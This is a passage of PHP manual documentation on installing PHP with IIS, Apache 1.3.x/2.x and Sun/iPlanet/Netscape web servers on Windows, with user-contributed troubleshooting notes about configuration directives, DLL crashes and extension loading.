Configure IIS FastCGI settings for recycling of PHP processes by using the commands shown below. The FastCGI setting instanceMaxRequests controls how many requests will be processed by a single php-cgi.exe process before IIS shuts it down. The PHP environment variable PHP_FCGI_MAX_REQUESTS controls how many requests a single php-cgi.exe process will handle before it recycles itself. Make sure that the value specified for FastCGI InstanceMaxRequests setting is less than or equal to the value specified for PHP_FCGI_MAX_REQUESTS.

Example #7 Configuring FastCGI and PHP recycling

%windir%\system32\inetsrv\appcmd.exe set config -section:system.webServer/fastCgi ^
/[fullPath='c:\php\php-cgi.exe'].instanceMaxRequests:10000

%windir%\system32\inetsrv\appcmd.exe set config -section:system.webServer/fastCgi ^
/+"[fullPath='C:\{php_folder}\php-cgi.exe'].environmentVariables.^
[name='PHP_FCGI_MAX_REQUESTS',value='10000']"

FastCGI timeout settings

Increase the timeout settings for FastCGI if it is expected to have long running PHP scripts. The two settings that control timeouts are activityTimeout and requestTimeout. Use the commands below to change the timeout settings. Make sure to replace the value in the fullPath parameter to contain the absolute path to the php-cgi.exe file.

Example #8 Configuring FastCGI timeout settings

%windir%\system32\inetsrv\appcmd.exe set config -section:system.webServer/fastCgi ^
/[fullPath='C:\php\php-cgi.exe',arguments=''].activityTimeout:"90"  /commit:apphost

%windir%\system32\inetsrv\appcmd.exe set config -section:system.webServer/fastCgi ^
/[fullPath='C:\php\php-cgi.exe',arguments=''].requestTimeout:"90"  /commit:apphost

Changing the Location of php.ini file

PHP searches for php.ini file in several locations and it is possible to change the default locations of php.ini file by using PHPRC environment variable. To instruct PHP to load the configuration file from a custom location run the command shown below. The absolute path to the directory with php.ini file should be specified as a value of PHPRC environment variable.

Example #9 Changing the location of php.ini file

appcmd.exe set config  -section:system.webServer/fastCgi ^
/+"[fullPath='C:\php\php.exe',arguments=''].environmentVariables.^
[name='PHPRC',value='C:\Some\Directory\']" /commit:apphost

User Contributed Notes

Bruce Kirkpatrick 28-Oct-2009 09:56
The default installation of Windows Vista, Windows 7 and Windows Server 2008 adds a line to the Windows/System32/drivers/etc/hosts which causes network functions (database connect functions too, like mysql_connect) to timeout when connecting to "localhost".  To resolve this problem, remove the entry from the hosts file:
::1             localhost

or connect using the IP address, 127.0.0.1 or another domain name.

This behavior change is due to IPv6 being enabled by default in Vista or other recent Windows version.

Now you can use the x64 snapshot builds of 5.3 on these new windows platforms to run a completely up to date 64-bit fastcgi configuration!
Microsoft IIS 5.1 and IIS 6.0
Apache 1.3.x on Microsoft Windows
Installation on Windows systems


Apache 1.3.x on Microsoft Windows

This section contains notes and hints specific to Apache 1.3.x installs of PHP on Microsoft Windows systems. There are also instructions and notes for Apache 2 on a separate page.

Note:

Please read the manual installation steps first!

There are two ways to set up PHP to work with Apache 1.3.x on Windows. One is to use the CGI binary (php.exe for PHP 4 and php-cgi.exe for PHP 5), the other is to use the Apache Module DLL. In either case you need to edit your httpd.conf to configure Apache to work with PHP, and then restart the server.

It is worth noting here that now the SAPI module has been made more stable under Windows, we recommend it's use above the CGI binary, since it is more transparent and secure.

Although there can be a few variations of configuring PHP under Apache, these are simple enough to be used by the newcomer. Please consult the Apache Documentation for further configuration directives.

After changing the configuration file, remember to restart the server, for example, NET STOP APACHE followed by NET START APACHE, if you run Apache as a Windows Service, or use your regular shortcuts.

Note: Remember that when adding path values in the Apache configuration files on Windows, all backslashes such as c:\directory\file.ext should be converted to forward slashes: c:/directory/file.ext. A trailing slash may also be necessary for directories.

Installing as an Apache module

You should add the following lines to your Apache httpd.conf file:

Example #1 PHP as an Apache 1.3.x module

This assumes PHP is installed to c:\php. Adjust the path if this is not the case.

For PHP 4:

# Add to the end of the LoadModule section
# Don't forget to copy this file from the sapi directory!
LoadModule php4_module "C:/php/php4apache.dll"

# Add to the end of the AddModule section
AddModule mod_php4.c

For PHP 5:

# Add to the end of the LoadModule section
LoadModule php5_module "C:/php/php5apache.dll"

# Add to the end of the AddModule section
AddModule mod_php5.c

For both:

# Add this line inside the <IfModule mod_mime.c> conditional brace
AddType application/x-httpd-php .php

# For syntax highlighted .phps files, also add
AddType application/x-httpd-php-source .phps

Installing as a CGI binary

If you unzipped the PHP package to C:\php\ as described in the Manual Installation Steps section, you need to insert these lines to your Apache configuration file to set up the CGI binary:

Example #2 PHP and Apache 1.3.x as CGI

ScriptAlias /php/ "c:/php/"
AddType application/x-httpd-php .php

# For PHP 4
Action application/x-httpd-php "/php/php.exe"

# For PHP 5
Action application/x-httpd-php "/php/php-cgi.exe"

# specify the directory where php.ini is
SetEnv PHPRC C:/php
Note that the second line in the list above can be found in the actual versions of httpd.conf, but it is commented out. Remember also to substitute the c:/php/ for your actual path to PHP.

Warning

A server deployed in CGI mode is open to several possible vulnerabilities. Please read our CGI security section to learn how to defend yourself from such attacks.

If you would like to present PHP source files syntax highlighted, there is no such convenient option as with the module version of PHP. If you chose to configure Apache to use PHP as a CGI binary, you will need to use the highlight_file() function. To do this simply create a PHP script file and add this code: <?php highlight_file('some_php_script.php'); ?>.

User Contributed Notes

frank at circuitdata dot dk 19-Sep-2008 08:43
Entries to httpd.conf for PHP 5:

  AddType application/x-httpd-php .php

  AddType application/x-httpd-php-source .phps

must appear BEFORE

  LoadModule php5_module "C:/php/php5apache.dll"

This should NOT be added:

  AddModule mod_php5.c

It makes no sense since AddModule means activation of a module compiled staticly into the Apache. We ofcourse do not have that!
david 05-Jun-2007 12:10
Note that if you place php in the c:\php5 director your ScriptAlias line should read

ScriptAlias /php/ "c:/php5/"

This may be obvious to regular Apache users, but I changed all sorts of things around before realizing this was the issue. I thought

Action application/x-httpd-php "/php/php-cgi.exe"

was a path and was changing it to "/php5/php-cgi.exe" which didn't work.
BCarr 20-Jan-2006 01:35
To Besta and 'j dot b..dot sk':

'Add Module mod_php4.c' or 'AddModule mod_php5.c'  may or may not be necessary depending on your environment and version of Apache.

In my situation, this add module DID NOT work or it wasn't necessary.  The LoadModule was enough to do the trick.  I tried it with PHP4 on Apache 1.3.34 and Apache 2.0.

All in all, your notes have been helpful.  Thanks.
j dot b at inmail dot sk 27-Sep-2005 12:42
DO NOT FORGET to add "index.php" into
<IfModule mod_dir.c>
    DirectoryIndex index.html
</IfModule>

so you get index.php processed;multiple values separate by space:
<IfModule mod_dir.c>
    DirectoryIndex index.html index.php
</IfModule>
27-Aug-2005 01:51
On contrary to user "Besta"'s post

AddModule mod_php5.c

should be added to the addmodule section. I installed php5 and apache 1.3.3 and without the above line it is not recognizing the .php files
Besta 07-Aug-2005 02:16
Do not add this line to apache http.conf. It does not work.
AddModule mod_php5.c

Also, remember to edit the system variables, edit the PATH and add the path to the php directory and restart windows.
psychosos at gmx dot at 27-Feb-2005 05:59
Please note that the SetEnv PHPRC "directory/to/phpini/" only works when using PHP as CGI, but _not_ when you use the PHP Apache Module!
Microsoft IIS 7.0 and later
Apache 2.x on Microsoft Windows
Installation on Windows systems


Apache 2.x on Microsoft Windows

This section contains notes and hints specific to Apache 2.x installs of PHP on Microsoft Windows systems. We also have instructions and notes for Apache 1.3.x users on a separate page.

Note:

You should read the manual installation steps first!

Note: Apache 2.2 Support

Users of Apache 2.2 should note that the DLL file for Apache 2.2 is named php5apache2_2.dll rather than php5apache2.dll and is available only for PHP 5.2.0 and later. See also » http://snaps.php.net/

You are strongly encouraged to consult the » Apache Documentation to get a basic understanding of the Apache 2.x Server. Also consider reading the » Windows specific notes for Apache 2.x before reading on here.

Apache 2.x is designed to run on the Windows version designated as server platforms, such as Windows NT 4.0, Windows 2000, Windows XP, or Windows 7. While Apache 2.x works tolerably well on Windows 9x, support on these platforms is incomplete, and some things will not work correctly. There is no plan to remedy this situation.

Download the most recent version of » Apache 2.x and a fitting PHP version. Follow the Manual Installation Steps and come back to go on with the integration of PHP and Apache.

There are three ways to set up PHP to work with Apache 2.x on Windows. You can run PHP as a handler, as a CGI, or under FastCGI.

Note: Remember that when adding path values in the Apache configuration files on Windows, all backslashes such as c:\directory\file.ext should be converted to forward slashes: c:/directory/file.ext. A trailing slash may also be necessary for directories.

Installing as an Apache handler

You need to insert the following lines into your Apache httpd.conf configuration file to load the PHP module for Apache 2.x:

Example #1 PHP and Apache 2.x as handler

#
LoadModule php5_module "c:/php/php5apache2.dll"
AddHandler application/x-httpd-php .php

# configure the path to php.ini
PHPIniDir "C:/php"

Note: Remember to substitute your actual path to PHP for the C:/php/ in the above examples. Take care to use either php5apache2.dll or php5apache2_2.dll in your LoadModule directive and verify that the referenced file is in fact located at the file path that you point to in this directive.

The above configuration will enable PHP handling of any file that has a .php extension, even if there are other file extensions. For example, a file named example.php.txt will be executed by the PHP handler. To ensure that only files that end in .php are executed, use the following configuration instead:

<FilesMatch \.php$>
      SetHandler application/x-httpd-php
 </FilesMatch>

Running PHP as CGI

You should consult the » Apache CGI documentation for a more complete understanding of running CGI on Apache.

To run PHP as CGI, you'll need to place your php-cgi files in a directory designated as a CGI directory using the ScriptAlias directive.

You will then need to insert a #! line in the PHP files, pointing to the location of your PHP binary:

Example #2 PHP and Apache 2.x as CGI

#!C:/php/php.exe
<?php
  phpinfo();
?>

Warning

A server deployed in CGI mode is open to several possible vulnerabilities. Please read our CGI security section to learn how to defend yourself from such attacks.

Running PHP under FastCGI

Running PHP under FastCGI has a number of advantages over running it as a CGI. Setting it up this way is fairly straightforward:

Obtain mod_fcgid from » http://httpd.apache.org/mod_fcgid/. Win32 binaries are available for download from that site. Install the module according to the instructions that will come with it.

Configure your web server as shown below, taking care to adjust any paths to reflect your how you have installed things on your particular system:

Example #3 Configure Apache to run PHP as FastCGI

LoadModule fcgid_module modules/mod_fcgid.so

# Where is your php.ini file?
FcgidInitialEnv PHPRC        "c:/php"

AddHandler fcgid-script .php
FcgidWrapper "c:/php/php-cgi.exe" .php
Files with a .php extension will now be executed by the PHP FastCGI wrapper.

User Contributed Notes

robert dot nevinger at sbcglobal dot net 18-Dec-2011 09:34
Apache 2.2 crashing on WindowsXP/Apache2.2/php5.3.8_Win32.VC9-x86

There is a distinction between LoadFile and LoadModule.

LoadModule is typically used to load  Shared Objects (.so), and comes in very handy for Dynamically Shared Objects
LoadFile on windows it typically used to load DLL

Please note:  In order for a LoadMoudle directive to work on a DLL the module must be compiled into the library.  If you use VI you can usually locate the module, but the file is compiled, don't write it!

A dll can be located anywhere on the system.
A .so should be located in your Apache install modules folder.

What worked for me for Windows XP/Apache2.2/php5.3.8_Win32.VC9-x86

PHPIniDir "C:/PHP/"
LoadFile "C:/PHP/libeay32.dll"
LoadFile "C:/PHP/libpq.dll"
LoadFile "C:/PHP/libsasl.dll"
LoadModule php5_module "C:\PHP\php5apache2_2.dll"

This comment is to support the Apache startup, NOT serve PHP pages.
bradley dot henke at colorado dot edu 31-Oct-2011 01:38
I was able to get apache up and running without any problems. Then I tried installing php and it crashed trying to read "C:/php/php5apache2.dll".

Fixed the problem by switching it to "C:/php/php5apache2_2.dll"

Hope that helps!
Cooldude 31-Aug-2011 07:56
Also had an exception problem when trying to use mysql with apache and php5.

I had to add:

"<my MySQL folder>\bin" folder to path
"<my php folder>\ext" to path

that fixed it
capesirius at gmail dot com 24-Aug-2011 04:22
php5ts.dll exception problem

I had the same problem win php5ts.dll. Apache didn't start.
Configuration was: Win 7 + php 5.2.17 + Apache 2.2.19.
And I used .msi php installer.

None of the posts below helped to fix the problem.

Finally the problem was resolved by using .zip php archive instead of .msi.
tcombass at gmail dot com 29-Jul-2011 02:12
If you are having problems with php5ts.dll...

php5ts.dll is php5.dll but thread safe, hence the 'ts' at the end.

Software Details:
MySQL  5.5
PHP 5.2.17 VC6 Non-thread safe
Apache 2.2.19
Win XP SP3

Here's how I fixed the problem:

I've been looking online on how to integrate Apache with PHP right so I come across this code to put in my httpd.conf apache configuration file:

LoadModule php5_module "C:/php/php5apache2_2.dll"
AddHandler application/x-httpd-php .php
PhpIniDir "C:/php"

I paste it in a voila! it crashes!  I know its not news, but I looked and lo and behold its that darn php5ts.dll file!

In short:

I installed PHP 5.2.17 VC6 Non-Thread Safe.  I then installed the PHP 5.2.17 VC6 thread safe so I could copy these files from the thread safe installation into the PHP 5.2.17 VC6 Non-Thread safe installation directory:

php5apache2_2.dll
php5apache2_2filter.dll

Not sure if that last file is needed but I added it anyway.

Then I uninstalled the thread safe installation.

The Apache service started right up.

Had some problems with MySQL too:

When I installed it the first time it was fine.  Then I uninstalled it and got that "Service could not be started Error: 0" message.

To do a complete deletion do this:

1) Use MySQLInstanceconfig.exe to remove the service
2) Use the "Add/Remove programs" to uninstall MySQL
3) Delete the "c:\program files\MySQL directory"
4) Delete the "c:\documents and settings\All Users\Application Data\MySql\" directory
5) Launch regedit.exe from START>RUN and press ctrl+f for the find function and type in MYSQL to find and get rid of anything "MySQL" in there.  Press F3 to find repeat instances of "MySQL"

I hope this helps you.  I spent about 30hrs uninstalling and reinstalling this crap...
Cameron 14-May-2011 11:37
Here is yet another aspect of the "faulting module php5ts.dll" crash when trying to start apache.
I installed Apache 2.2.18, Mysql 5.1.57 and PHP 5.2.17 (apache module, VC6 thread-safe - initially with no extensions) on a fresh WinXP SP3 system. The versions chosen were because I was trying to replicate as near as possible apps on my Linux server.

Everything configured and ran properly without php extensions, so I then reran the msi installer and chose the necessary extensions.  I reconfigured httpd.conf  but apache then just kept crashing.
Eventually I came across the "fix" mentioned elsewhere "copy libmysql.dll to apache folder" and suddenly it worked. But why? I checked and the php installation folder was in the system path. The answer was simply that I had never rebooted. It seems that whatever process controls windows services only reads the path at boot time.  I was thrown by assuming that if I started httpd from the command line then it would inherit that path.

Here are a few diagnostic tips that helped me along the way:

Try the CLI command:
php -m
and see that the command line version loads all the modules you asked for.

in php.ini, enable
display_errors = On
and
display_startup_errors = On
The latter pops up a window saying which extension it has trouble loading. Of course it is not perfectly clear, because it says something like 'unable to load "C:\php\ext\php_mysql.dll" - The specified module could not be found'. It lies - it really does find that dll, but it must have failed on the dependency of libmysql.dll.
mike at supergrowlasers dot com 28-Apr-2011 06:44
I just spent 5 hours repeatedly trying, usuccessfully, to get Apache to parse php files instead of sending them to the browser.  I am setting up a Win 7 Pro box, and went through the configuration several times, as well as trying other configuration directives I found elsewhere by searching.

Nothing worked. I was tearing my hair out and ready to cry.  I have set this up numerous times on XP with no problem.  But on Win 7 Pro it wasn't happening.

Eventually I found this code, which worked perfectly (after taking out directives from httpd.conf that weren't working, of course)

LoadFile "C:/php/php5ts.dll"
LoadModule php5_module "C:/php/php5apache2.dll"

<IfModule php5_module>
    #PHPIniDir "C:/Windows"
    #PHPIniDir "C:/Winnt"

    <Location />
        AddType text/html .php .phps
        AddHandler application/x-httpd-php .php
        AddHandler application/x-httpd-php-source .phps
    </Location>

</IfModule>

If you've been having the same problem, try this.

You're welcome.
brokenarrow218 at rochester dot rr dot com 07-Feb-2011 12:29
man I had a heck of time.. I was really starting to think I was just too simple minded.. I run PHP on iis7 as well as apache.. my os is win7 pro.. my host uses php 5.2 sooooo..

to run on apache 2.2 download nonthread safe version (my case VC6 x86 Non Thread Safe (2011-Jan-06 18:38:35)) and add this to the end of your apache httpd.conf file

#BEGIN PHP INSTALLER EDITS - REMOVE ONLY ON UNINSTALL
PHPIniDir "c:/php/"
LoadModule php5_module "c:/php/php5apache2_2.dll"
AddHandler application/x-httpd-php .php
<FilesMatch \.php$>
      SetHandler application/x-httpd-php
 </FilesMatch>

#END PHP INSTALLER EDITS - REMOVE ONLY ON UNINSTALL

fired right up..
yakfish 25-Jan-2011 01:43
If Apache won't start after PHP install, check for this scenario:

When I followed the instructions for the Windows installer, using Apache HTTP server 2.2.17, the install completed normally but Apache would then fail to start. It turned out that the installer was not properly configuring the last section of Apache's httpd.conf file:

#BEGIN PHP INSTALLER EDITS - REMOVE ONLY ON UNINSTALL
PHPIniDir "c:/php/"
LoadModule php5_module "c:/php/php5apache2_2.dll"
#END PHP INSTALLER EDITS - REMOVE ONLY ON UNINSTALL

The text above is the correct configuration (in my case, I had asked the installer to place PHP into directory C:/PHP.)  However, the installer omitted the string "c:/php/" from the two lines above where you can see them. I had to edit the file, and add that string in manually, before Apache would start correctly.
pkay(number42) at gmail dot com 30-Dec-2010 09:31
Running Apache2.2 on Windows 7.  There was no php5apache2_2.dll on my system, and all I got was a message box "The requested operation has failed!" (no, that's not OK).

Finally realized that thread-safe version (VC6, mind!) was necessary - it had the dll in it.

Downloaded that, apache runs with

LoadModule php5_module 'C:/Program Files (x86)/PHP/php5apache2_2.dll'
#etc
farinspace 20-Nov-2010 11:36
Running PHP under FastCGI:

Besides the following in your httpd.conf

    LoadModule fcgid_module modules/mod_fcgid.so
    FcgidInitialEnv PHPRC "c:/php"
    AddHandler fcgid-script .php
    FcgidWrapper "c:/php/php-cgi.exe" .php

Remember to add the following to the default <Directory "C:/apache/htdocs"> block (or virtual host blocks):

    Options ExecCGI
lebovskiy at ua dot fm 16-Nov-2010 10:59
I install httpd-2.2.17-win32-x86-openssl-0.9.8o.msi and after
php-5.3.3-Win32-VC9-x86.msi on WinXP SP3. PHP installation add to httpd.conf next lines:

LoadModule php5_module "C:/PHP/php5apache2_2.dll
"PHPIniDir "C:/PHP"

After it Apache don`t starts. If remove PHPIniDir line Apache  starts ok, but C:/PHP/php.ini don`t loaded. So you can`t use any extension (for me it's MySQL).

I uninstall VC9 version and install VC6 (php-5.3.3-Win32-VC6-x86.msi) version. All works fine now.
halmai 15-Nov-2010 03:42
I wanted to install PHP5.3 for Apache2.2 with PostgreSql 9.0 support on WindowsXP. It took me hours to solve it.

The following possible problems occur:
- You should use the VC6-compiled version of php instead of VC9. The later one does not work properly with apache.
- the postgres handler dlls are not working in PHP5.3.

The symptom was a misleading and very confusing error message:

Unable to load dynamic library 'c:\Progra~1\PHP\ext\php_pgsql.dll'

The dll itself was there but when it started to load the other dll (libpq.dll) from the php directory then this caused an error. This error was misinterpreted internally in the above message.

The solution was NOT to use the libpq.dll from php but use it from postgres distribution instead.

For this purpose I inserted the following line into the apache httpd conf:

LoadFile "C:/Progra~1/PostgreSQL/9.0/bin/libpq.dll"

This preloads the dll. When php_pgsql.dll would load his own libpq.dll, then there is the preloaded version of this file in the memory already. This prevents us from using the bad version of dll.

I hope I helped.
terry_513 at yahoo dot com 08-Oct-2010 08:53
I have installed PHP5.3.3 and Apache2.2.1 successfully on c:/webserver and php on cL/webserver/php. Inidividually both are working.

All manuals show to add loadModule
LoadModule php5_module "c:/webserver/php/php5apache.dll"

with php5apache2.dll or php5apache2_2.dll. But in my PHP folder, I have php5apache.dll.

On setting LoadModule, AddType & PHPIn
LoadModule php5_module "c:/webserver/php/php5apache.dll"
PHPIniDir "C:/webserver/php/"
...
AddType application/x-httpd-php .php

to http.conf, apache2 doesn't work. It pops up "The request has failed". No errors in logs. But apache doesn't work. If I remove these 3 lines, then it works perfectly.

I changed "/" and "\", removed "/" after php in phpini line, but no success. In php.ini file also for setting extension, I had to enter just the "ext" and not full path to make it work.

Can anynoe tell what could be the point, and how to solve it. I am looking badly to setup this and start working. any help is highly appreciative.

Thanks,
Nick 16-Jun-2010 06:48
After using the Windows installer for Apache 2.2 and PHP 5.3.2, and installing PHP as an Apache module (not CGI), Apache would crash and fail to start. There were two problems with the configuration files for Apache and PHP.

First, make sure your Apache configuration file reads something similar to:

LoadModule php5_module "C:/Program Files/PHP/php5apache2_2.dll"
PHPIniDir "C:/Program Files/PHP/"

While other users have disabled some or all of the MySQL extensions to prevent all three from running at the same time, I have all of them enabled. However, I do not have PostgreSQL, so I needed to comment out loading the php_pgsql.dll in my php.ini file, as follows:

;[PHP_PGSQL]
;extension=php_pgsql.dll

This stopped Apache from crashing and started successfully.
Michael 03-Mar-2010 09:48
The value for FcgidWrapper cannot contain spaces..

This won't work:
FcgidWrapper "c:/program files (x86)/php/php-cgi.exe" .php

But this will:
FcgidWrapper "c:/progra~2/php/php-cgi.exe" .php
Steve 23-Feb-2010 04:53
I also had a problem with the PHPIniDir declaration.  This is with Apache 2.2 on XP.  I had to include a final slash, as in PHPIniDir "C:\Program Files\php\".  Apache failed to start if I did not include the slash after php.
Kerry Kobashi 13-Dec-2009 10:56
If you find that Apache crashes when you attempt to start it, its likely that one of the PHP extensions is the cause. This is likely the case if you use the PHP Windows installer and choose all extensions in the setup program to be installed on disk. Unfortunately, it will also enable all extensions too causing potential problems.

For example, after installing PHP 5.2.11 and Apache 2.2 under Windows XP, Apache kept crashing. This was due to using all three versiosn of mysql extensions attempting to run:

[PHP_MYSQL]
extension=php_mysql.dll
[PHP_MYSQLI]
extension=php_mysqli.dll
[PHP_PDO_MYSQL]
extension=php_pdo_mysql.dll
Anonymous 10-Dec-2009 01:25
If anybody here encounters an error regarding PHPIniDir, change PHPIniDir "C:/php/" to PHPIniDir "C:\php\".
nicolas dot grasset at gmail dot com 07-Jul-2009 10:08
Here is how I created a silent install for Apache2.2 and PHP5.2.10 on Windows XP (running on a MacBook Pro):

Download Apache2 and PHP5 installer files in a directory and update the msi file names in the following commands.

To have PHP installer find Apache2, do not forget APACHEDIR!

msiexec /i apache_2.2.11-win32-x86-no_ssl.msi /passive ALLUSERS=1 SERVERADMIN=admin@localhost SERVERNAME=localhost SERVERDOMAIN=localhost SERVERPORT=80 INSTALLDIR=c:\apache
msiexec /i php-5.2.10-win32-installer.msi /qn APACHEDIR=c:\apache INSTALLDIR=c:\php ADDLOCAL=ext_php_mssql,apache22
net stop "Apache2.2"
net start "Apache2.2"
CP 16-Apr-2009 11:27
This is old news to some. But people with Apache 2.0.55 / PHP 5.1.2 might like a reminder before they pull their hair out! (Some of us have ISPs using older version and need to test on a like version before we upload.)

If using PHP 5.1.2, to run Apache as a module, do *not* use Stephan's "php5apache2.dll" from http://www.ApacheLounge.com. That is for pre-5.1.2!

**There is a "php5apache2.dll" included with Windows PHP 5.1.2 zip file by default.**

If you forget this and overwrite the included DLL with Stephan's (as I did) you'll spend hours attempting to escape "DLL hell", with no success.
Anonymous 26-Feb-2009 06:32
i followed henke37's way to for the httpd.conf

I added all this at the very end of httpd.conf

# For PHP 5
#load the php main library to avoid dll hell
Loadfile "C:\php-5.2.8-Win32\php5ts.dll"

#load the sapi so that apache can use php
LoadModule php5_module "C:\php-5.2.8-Win32\php5apache2_2.dll"

#set the php.ini location so that you don't have to waste time guessing where it is
PHPIniDir "C:\php-5.2.8-Win32"

#Hook the php file extensions
AddHandler application/x-httpd-php .php
AddHandler application/x-httpd-php-source .phps

Also i didn't use short open tags as they are disabled in
"php.ini-recommended" if you don't change anything
So use this to test
<?php
 phpinfo();
?>
NOT
<? phpinfo(); ?> short open tags

added my php directory to the PATH system variable and i start apache manually not as a service

It works for me hope it helps you!
cormac at kernan dot eu 20-Apr-2008 06:08
All good advice from henke, except where it says "Do not edit the system path".  You will NOT be able to load extensions that have dependencies e.g. MySQL, without adding PHP to your system path.  This threw me for some time as other extensions without dependencies will work without this requirement.
cfoesterle at yahoo dot com 10-Feb-2008 08:41
I do not have IIS installed on my server, only Apache. So I had to edit the PHP.ini file and comment out (add leading ";") to the following line "extension=php_iisfunc.dll" as I was getting "Faulting application httpd.exe, faulting module php_iisfunc.dll" errors when this line was active. I also added an additional  "AddType application/x-httpd-php .html" to my httpd.conf file so that inline php would work with files ending with an extension of ".html" on my server.
mjm at alum dot mit dot edu 26-Jan-2008 08:33
If you use the PHP 5 installer, you'll notice that it uses the wrong type of slash on Windows!

Change C:/Program Files/PHP/" to C:\Program Files\PHP\" and everything works great!
packard_bell_nec at hotmail dot com 02-Oct-2007 08:24
If you install PHP as an Apache CGI binary, you can add:
AddHandler cgi-script .php
into Apache httpd.conf, and add shebang line to every PHP scripts like:
#!php
<?php
phpinfo();
?>
. But adding shebang line has a disadvantage that if you decided to install PHP as an Apache module afterwards, then the shebang line WILL appear in the web page.
In fact, you do NOT need to add shebang line to every PHP script even if you install PHP as an Apache CGI binary, because you can add:
ScriptInterpreterSource Registry-Strict
into Apache httpd.conf, and make the registry file and merge it like:
Windows Registry Editor Version 5.00
[HKEY_CLASSES_ROOT\.php\Shell\ExecCGI\Command]
@="\"C:\\Program Files\\PHP\\php-cgi.exe\""
. Then you will NOT need to change the PHP scripts which do not contain shebang line.
philippeboucher at newlogiccanada dot com dot com 31-Jul-2007 02:05
To do a silent install of PHP wich correctly modify the httpd.conf file, you HAVE (I find no other way) to put the directory of the Apache inside the INSTALLDIR's MSI option.  the APACHEDIR doesn't seem to work.  That's the only way I've make it work.  Maybe it's because my Apache is not in the default directory, I don't know, but there is a solution for people who cannot make work the silent install (for those who are told by the php setup that it cannot find the httpd.conf file).

Hope it helps someone.
anonymousness 15-Jun-2007 07:30
Verrrrrrrry important note:

If you enable multi-byte strings for your installation of PHP, the extension loaded MUST be the first extension in the list.

Apache, NOR PHP will generate any error messages or warning information in the error log or in system logs about this.

This information needs to be included in the Readme or in the distributed INI files.

The recommended PHP ini's should place extension=php_mbstring.dll  at the top of the list of extensions.

I had completely forgotten about this when recently upgrading php on a test server; and almost set out to re-install apache.
charlie at oblivion dot cz 14-Feb-2007 04:19
..try to set the extension_dir in php.ini to the absolute path.. (when you are pretty sure that you have set the PHPIniDir the right way)
Jim Keller 10-Jan-2007 05:35
it's important to note that on Apache 2.2.3 (probably other 2.x versions as well) on Windows, the PHPIniDir directive must use forward slashes to delimit directories, not the backslashes commonly used for Windows path strings. If PHP seems to be ignoring the directive, this may be why.
pcdinh at phpvietnam dot net 07-Oct-2006 03:50
PHP 6 is under active development but for those whose want to try out the new features or just want to keep updated with the development progress of PHP 6.0, you can follow my instructions below to install it on Windows XP and Apache 2.2.3

# For PHP 6 do something like this:
LoadModule php5_module "c:/server/php6/php6apache2_2.dll"
AddType application/x-httpd-php .php
PHPIniDir "c:/server/php6"

You should change the path as in your system. The directive LoadModule php5_module seems a bit strange to you. It should be LoadModule php6_module instead. However, I have just taken a look at php.internals and came across a message that said it should be changed in the near future after the PHP 5.2 is official released. At the time I write this, PHP 5.2 RC6 is planned to be released in the next few days.
subajawa at yahoo dot com 04-Aug-2006 01:56
To install PHP as Apache 2 CGI script, add these lines in addition to the 3 lines mentioned in the document.

<Directory "C:/php">
    AllowOverride None
    Options None
    Order allow,deny
    Allow from all
</Directory>
Isaac dot Brown at ArvinMeritor dot com 17-May-2005 05:59
Some XP machines are having troubles with the PHPIniDir derective not finding the php.ini (or so they think). Directories that do contain a php.ini file are returned as empty and it defaults to the next method of finding php.ini (often C:/windows or C:/winnt).

This is likely caused by read permissions not being set correctly on NTFS file systems, however, it has occurred when no cause could be identified. If setting correct file permissions doesn't work, the easiest way around this problem is moving php.ini to the Apache directory or adding the HKEY_LOCAL_MACHINE\SOFTWARE\PHP\IniFilePath string to your registry and setting it to the correct directory.
Apache 1.3.x on Microsoft Windows
Sun, iPlanet and Netscape servers on Microsoft Windows
Installation on Windows systems


Sun, iPlanet and Netscape servers on Microsoft Windows

This section contains notes and hints specific to Sun Java System Web Server, Sun ONE Web Server, iPlanet and Netscape server installs of PHP on Windows.

From PHP 4.3.3 on you can use PHP scripts with the NSAPI module to generate custom directory listings and error pages. Additional functions for Apache compatibility are also available. For support in current web servers read the note about subrequests.

CGI setup on Sun, iPlanet and Netscape servers

To install PHP as a CGI handler, do the following:

  • Copy php4ts.dll to your systemroot (the directory where you installed Windows)

  • Make a file association from the command line. Type the following two lines:

    assoc .php=PHPScript
ftype PHPScript=c:\php\php.exe %1 %*

  • In the Netscape Enterprise Administration Server create a dummy shellcgi directory and remove it just after (this step creates 5 important lines in obj.conf and allow the web server to handle shellcgi scripts).
  • In the Netscape Enterprise Administration Server create a new mime type (Category: type, Content-Type: magnus-internal/shellcgi, File Suffix:php).
  • Do it for each web server instance you want PHP to run

More details about setting up PHP as a CGI executable can be found here: » http://benoit.noss.free.fr/php/install-php.html

NSAPI setup on Sun, iPlanet and Netscape servers

To install PHP with NSAPI, do the following:

  • Copy php4ts.dll to your systemroot (the directory where you installed Windows)

  • Make a file association from the command line. Type the following two lines:

    assoc .php=PHPScript
ftype PHPScript=c:\php\php.exe %1 %*

  • In the Netscape Enterprise Administration Server create a new mime type (Category: type, Content-Type: magnus-internal/x-httpd-php, File Suffix: php).

  • Edit magnus.conf (for servers >= 6) or obj.conf (for servers < 6) and add the following: You should place the lines after mime types init.

    Init fn="load-modules" funcs="php4_init,php4_execute,php4_auth_trans" shlib="c:/php/sapi/php4nsapi.dll"
Init fn="php4_init" LateInit="yes" errorString="Failed to initialise PHP!" [php_ini="c:/path/to/php.ini"]
    (PHP >= 4.3.3) The php_ini parameter is optional but with it you can place your php.ini in your web server configuration directory.

  • Configure the default object in obj.conf (for virtual server classes [Sun Web Server 6.0+] in their vserver.obj.conf): In the <Object name="default"> section, place this line necessarily after all 'ObjectType' and before all 'AddLog' lines:

    Service fn="php4_execute" type="magnus-internal/x-httpd-php" [inikey=value inikey=value ...]
    (PHP >= 4.3.3) As additional parameters you can add some special php.ini-values, for example you can set a docroot="/path/to/docroot" specific to the context php4_execute is called. For boolean ini-keys please use 0/1 as value, not "On","Off",... (this will not work correctly), e.g. zlib.output_compression=1 instead of zlib.output_compression="On"

  • This is only needed if you want to configure a directory that only consists of PHP scripts (same like a cgi-bin directory):

    <Object name="x-httpd-php">
ObjectType fn="force-type" type="magnus-internal/x-httpd-php"
Service fn=php4_execute [inikey=value inikey=value ...]
</Object>
    After that you can configure a directory in the Administration server and assign it the style x-httpd-php. All files in it will get executed as PHP. This is nice to hide PHP usage by renaming files to .html.

  • Restart your web service and apply changes
  • Do it for each web server instance you want PHP to run

Note:

More details about setting up PHP as an NSAPI filter can be found here: » http://benoit.noss.free.fr/php/install-php4.html

Note:

The stacksize that PHP uses depends on the configuration of the web server. If you get crashes with very large PHP scripts, it is recommended to raise it with the Admin Server (in the section "MAGNUS EDITOR").

CGI environment and recommended modifications in php.ini

